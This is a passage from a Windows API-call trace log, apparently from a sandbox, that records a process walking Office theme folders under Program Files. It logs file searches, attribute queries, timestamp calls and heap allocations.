Flags=0x8, Size=0x80) returned 0xed4060 [0054.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefec88 [0054.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00400 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefed90 [0054.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.968] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00420 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefee98 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x880) returned 0xf00b28 [0054.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef8cd8) returned 1 [0054.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.968] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00440 [0054.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefefa0 [0054.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.969] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00460 [0054.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeff0a8 [0054.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.969] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.969] GetLastError () returned 0x12 [0054.969] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.969] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.969] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.969] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.969] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0054.969] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0054.969] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.969] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.969] GetLastError () returned 0x12 [0054.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefeb80) returned 1 [0054.970] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefec88) returned 1 [0054.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.970] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0054.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.970] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0054.970] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf013b0 [0054.970] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf013b0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf013b0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf013b0) returned 1 [0054.970] NtClose (Handle=0x17c) returned 0x0 [0055.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.047] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefec88 [0055.053] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.067] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.071] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.073] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.074] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefeb80 [0055.074] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00480 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeff1b0 [0055.074] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.074] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.074] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.074] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf004a0 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeff2b8 [0055.074] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.074] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.074] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.074] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf004c0 [0055.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeff3c0 [0055.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.075] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf004e0 [0055.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeff4c8 [0055.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.075] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.075] GetLastError () returned 0x12 [0055.075] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.075] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.075] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.075] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.075] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0055.075] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0055.075] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.076] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.076] GetLastError () returned 0x12 [0055.076] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefec88) returned 1 [0055.076] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.076] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefeb80) returned 1 [0055.076] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.076] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0055.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.076] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.137] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf013b0 [0055.140] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf013b0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf013b0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.140] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf013b0) returned 1 [0055.143] NtClose (Handle=0x170) returned 0x0 [0055.156] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.160] RtlAllocateHeap 